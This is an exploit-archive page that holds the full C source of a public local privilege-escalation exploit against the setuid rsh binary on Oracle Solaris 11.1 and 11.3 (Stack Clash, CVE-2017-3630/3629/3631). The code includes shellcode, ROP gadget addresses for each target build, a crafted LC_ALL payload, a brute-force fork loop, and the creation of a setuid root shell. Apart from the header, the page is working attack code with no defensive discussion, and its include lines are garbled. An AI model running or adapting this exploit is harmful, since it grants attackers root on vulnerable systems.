Oracle Solaris 11.1 / 11.3 RSH - Local Root Stack Clash Exploit

Properties

Published:
29.06.2017
Target:
Oracle Solaris 11.1 / 11.3 RSH

Code

/*
 * Solaris_rsh.c for CVE-2017-3630, CVE-2017-3629, CVE-2017-3631
 * Copyright (C) 2017 Qualys, Inc.
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program.  If not, see .
 */
 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
 
#ifndef timersub
#define timersub(a, b, result) \
    do { \
        (result)->tv_sec = (a)->tv_sec - (b)->tv_sec; \
        (result)->tv_usec = (a)->tv_usec - (b)->tv_usec; \
        if ((result)->tv_usec < 0) { \
            --(result)->tv_sec; \
            (result)->tv_usec += 1000000; \
        } \
    } while (0)
#endif
 
#define RSH "/usr/bin/rsh"
static const struct target * target;
static const struct target {
    const char * name;
    size_t s_first, s_last, s_step;
    size_t l_first, l_last, l_step;
    size_t p_first, p_last, p_step;
    size_t a, b;
    size_t i, j;
} targets[] = {
    {
        .name = "Oracle Solaris 11.1 X86 (Assembled 19 September 2012)",
        .s_first = 16*1024, .s_last = 44*1024, .s_step = 4096,
        .l_first = 192,     .l_last = 512,     .l_step = 16,
        .p_first = 0,       .p_last = 8192,    .p_step = 1,
        .a = 0,             .b = 15,           .j = 12,
        .i = 0x08052608 /* pop edx; pop ebp; ret */
    },
    {
        .name = "Oracle Solaris 11.3 X86 (Assembled 06 October 2015)",
        .s_first = 12*1024, .s_last = 44*1024, .s_step = 4096,
        .l_first = 96,      .l_last = 512,     .l_step = 4,
        .p_first = 0,       .p_last = 4096,    .p_step = 4,
        .a = 0,             .b = 3,            .j = SIZE_MAX,
        .i = 0x07faa7ea /* call *0xc(%ebp) */
    },
};
 
#define ROOTSHELL "ROOT"
static const char shellcode[] =
    "\x31\xc0\x50\x68ROOT"
    "\x89\xe3\x50\x53\x89\xe2\x50\x50"
    "\x52\x53\xb0\x3C\x48\x50\xcd\x91"
    "\x31\xc0\x40\x50\x50\xcd\x91Z";
 
static volatile sig_atomic_t sigalarm;
 
static void
sigalarm_handler(const int signum __attribute__((__unused__)))
{
    sigalarm = 1;
}
 
#define die() do { \
    fprintf(stderr, "died in %s: %u\n", __func__, __LINE__); \
    exit(EXIT_FAILURE); \
} while (0)
 
static int
is_suid_root(const char * const file)
{
    if (!file) die();
    static struct stat sbuf;
    if (stat(file, &sbuf)) die();
    if (!S_ISREG(sbuf.st_mode)) die();
    return ((sbuf.st_uid == 0) && (sbuf.st_mode & S_ISUID));
}
 
static const char *
build_lca(const size_t l)
{
    static const size_t shellcode_len = sizeof(shellcode)-1;
    if (shellcode_len > 64) die();
    if (shellcode_len % 16) die();
    if (l < shellcode_len + target->a + target->b) die();
 
    #define LCA_MAX 4096
    if (l > LCA_MAX) die();
    static char lca[128 + LCA_MAX];
    strcpy(lca, "LC_ALL=");
    char * cp = memchr(lca, '\0', sizeof(lca));
    if (!cp) die();
    memcpy(cp, shellcode, shellcode_len);
    cp += shellcode_len;
    memset(cp, 'a', target->a);
 
    size_t o;
    for (o = target->a; l - o >= 4; o += 4) {
        if ((o - target->a) % 16 == target->j) {
            cp[o + 0] = '\xeb';
            cp[o + 1] = (o - target->a >= 16) ? -(16u + 2u) :
                -(shellcode_len + target->a + target->j + 2);
            cp[o + 2] = 'j';
            cp[o + 3] = 'j';
        } else {
            if (sizeof(size_t) != 4) die();
            *(size_t *)(cp + o) = target->i;
        }
    }
    cp += o;
    memset(cp, 'b', target->b);
    cp[target->b] = '\0';
    if (strlen(lca) != 7 + shellcode_len + o + target->b) die();
    return lca;
}
 
static const char *
build_pad(const size_t p)
{
    #define PAD_MAX 8192
    if (p > PAD_MAX) die();
    static char pad[64 + PAD_MAX];
    strcpy(pad, "P=");
    char * const cp = memchr(pad, '\0', sizeof(pad));
    if (!cp) die();
    memset(cp, 'p', p);
    cp[p] = '\0';
    if (strlen(pad) != 2 + p) die();
    return pad;
}
 
static void
fork_worker(const size_t s, const char * const lca, const char * const pad)
{
    #define N_WORKERS 2
    static size_t n_workers;
    static struct {
        pid_t pid;
        struct timeval start;
    } workers[N_WORKERS];
 
    size_t i_worker;
    struct timeval start, stop, diff;
 
    if (n_workers >= N_WORKERS) {
        if (n_workers != N_WORKERS) die();
        int is_suid_rootshell = 0;
        for (;;) {
            sigalarm = 0;
            #define TIMEOUT 10
            alarm(TIMEOUT);
            int status = 0;
            const pid_t pid = waitpid(-1, &status, WUNTRACED);
            alarm(0);
            if (gettimeofday(&stop, NULL)) die();
 
            if (pid <= 0) {
                if (pid != -1) die();
                if (errno != EINTR) die();
                if (sigalarm != 1) die();
            }
            int found_pid = 0;
            for (i_worker = 0; i_worker < N_WORKERS; i_worker++) {
                const pid_t worker_pid = workers[i_worker].pid;
                if (worker_pid <= 0) die();
                if (worker_pid == pid) {
                    if (found_pid) die();
                    found_pid = 1;
                    if (WIFEXITED(status) || WIFSIGNALED(status))
                        workers[i_worker].pid = 0;
                } else {
                    timersub(&stop, &workers[i_worker].start, &diff);
                    if (diff.tv_sec >= TIMEOUT)
                        if (kill(worker_pid, SIGKILL)) die();
                }
            }
            if (!found_pid) {
                if (pid != -1) die();
                continue;
            }
            if (WIFEXITED(status)) {
                if (WEXITSTATUS(status) != EXIT_FAILURE)
                    fprintf(stderr, "exited %d\n", WEXITSTATUS(status));
                break;
            } else if (WIFSIGNALED(status)) {
                if (WTERMSIG(status) != SIGSEGV)
                    fprintf(stderr, "signal %d\n", WTERMSIG(status));
                break;
            } else if (WIFSTOPPED(status)) {
                fprintf(stderr, "stopped %d\n", WSTOPSIG(status));
                is_suid_rootshell |= is_suid_root(ROOTSHELL);
                if (kill(pid, SIGKILL)) die();
                continue;
            }
            fprintf(stderr, "unknown %d\n", status);
            die();
        }
        if (is_suid_rootshell) {
            system("ls -lL " ROOTSHELL);
            exit(EXIT_SUCCESS);
        }
        n_workers--;
    }
    if (n_workers >= N_WORKERS) die();
 
    static char rsh_link[64];
    if (*rsh_link != '/') {
        const int rsh_fd = open(RSH, O_RDONLY);
        if (rsh_fd <= STDERR_FILENO) die();
        if ((unsigned int)snprintf(rsh_link, sizeof(rsh_link),
            "/proc/%ld/fd/%d", (long)getpid(), rsh_fd) >= sizeof(rsh_link)) die();
        if (access(rsh_link, R_OK | X_OK)) die();
        if (*rsh_link != '/') die();
    }
 
    static int null_fd = -1;
    if (null_fd <= -1) {
        null_fd = open("/dev/null", O_RDWR);
        if (null_fd <= -1) die();
    }
 
    const pid_t pid = fork();
    if (pid <= -1) die();
    if (pid == 0) {
        const struct rlimit stack = { s, s };
        if (setrlimit(RLIMIT_STACK, &stack)) die();
 
        if (dup2(null_fd, STDIN_FILENO) != STDIN_FILENO) die();
        if (dup2(null_fd, STDOUT_FILENO) != STDOUT_FILENO) die();
        if (dup2(null_fd, STDERR_FILENO) != STDERR_FILENO) die();
 
        static char * const argv[] = { rsh_link, "-?", NULL };
        char * const envp[] = { (char *)lca, (char *)pad, NULL };
        execve(*argv, argv, envp);
        die();
    }
    if (gettimeofday(&start, NULL)) die();
    for (i_worker = 0; i_worker < N_WORKERS; i_worker++) {
        const pid_t worker_pid = workers[i_worker].pid;
        if (worker_pid > 0) continue;
        if (worker_pid != 0) die();
        workers[i_worker].pid = pid;
        workers[i_worker].start = start;
        n_workers++;
        return;
    }
    die();
}
 
int
main(const int argc, const char * const argv[])
{
    static const struct rlimit core;
    if (setrlimit(RLIMIT_CORE, &core)) die();
 
    if (geteuid() == 0) {
        if (is_suid_root(ROOTSHELL)) {
            if (setuid(0)) die();
            if (setgid(0)) die();
            static char * const argv[] = { "/bin/sh", NULL };
            execve(*argv, argv, NULL);
            die();
        }
        chown(*argv, 0, 0);
        chmod(*argv, 04555);
        for (;;) {
            raise(SIGSTOP);
            sleep(1);
        }
        die();
    }
    if (symlink(*argv, ROOTSHELL)) {
        if (errno != EEXIST) die();
    }
 
    if (argc != 2) {
        fprintf(stderr, "Usage: %s target\n", *argv);
        size_t i;
        for (i = 0; i < sizeof(targets)/sizeof(*targets); i++) {
            fprintf(stderr, "Target %zu %s\n", i, targets[i].name);
        }
        die();
    }
  {
    const size_t i = strtoul(argv[1], NULL, 10);
    if (i >= sizeof(targets)/sizeof(*targets)) die();
    target = targets + i;
    fprintf(stderr, "Target %zu %s\n", i, target->name);
  }
    if (target->a >= 16) die();
    if (target->b >= 16) die();
    if (target->i <= 0) die();
    if (target->j >= 16 || target->j % 4) {
        if (target->j != SIZE_MAX) die();
    }
 
    static const struct sigaction sigalarm_action = { .sa_handler = sigalarm_handler };
    if (sigaction(SIGALRM, &sigalarm_action, NULL)) die();
 
    size_t s;
    for (s = target->s_first; s <= target->s_last; s += target->s_step) {
        if (s % target->s_step) die();
 
        size_t l;
        for (l = target->l_first; l <= target->l_last; l += target->l_step) {
            if (l % target->l_step) die();
            const char * const lca = build_lca(l);
            fprintf(stderr, "s %zu l %zu\n", s, l);
 
            size_t p;
            for (p = target->p_first; p <= target->p_last; p += target->p_step) {
                if (p % target->p_step) die();
                const char * const pad = build_pad(p);
                fork_worker(s, lca, pad);
            }
        }
    }
    fprintf(stderr, "Please try again\n");
    die();
}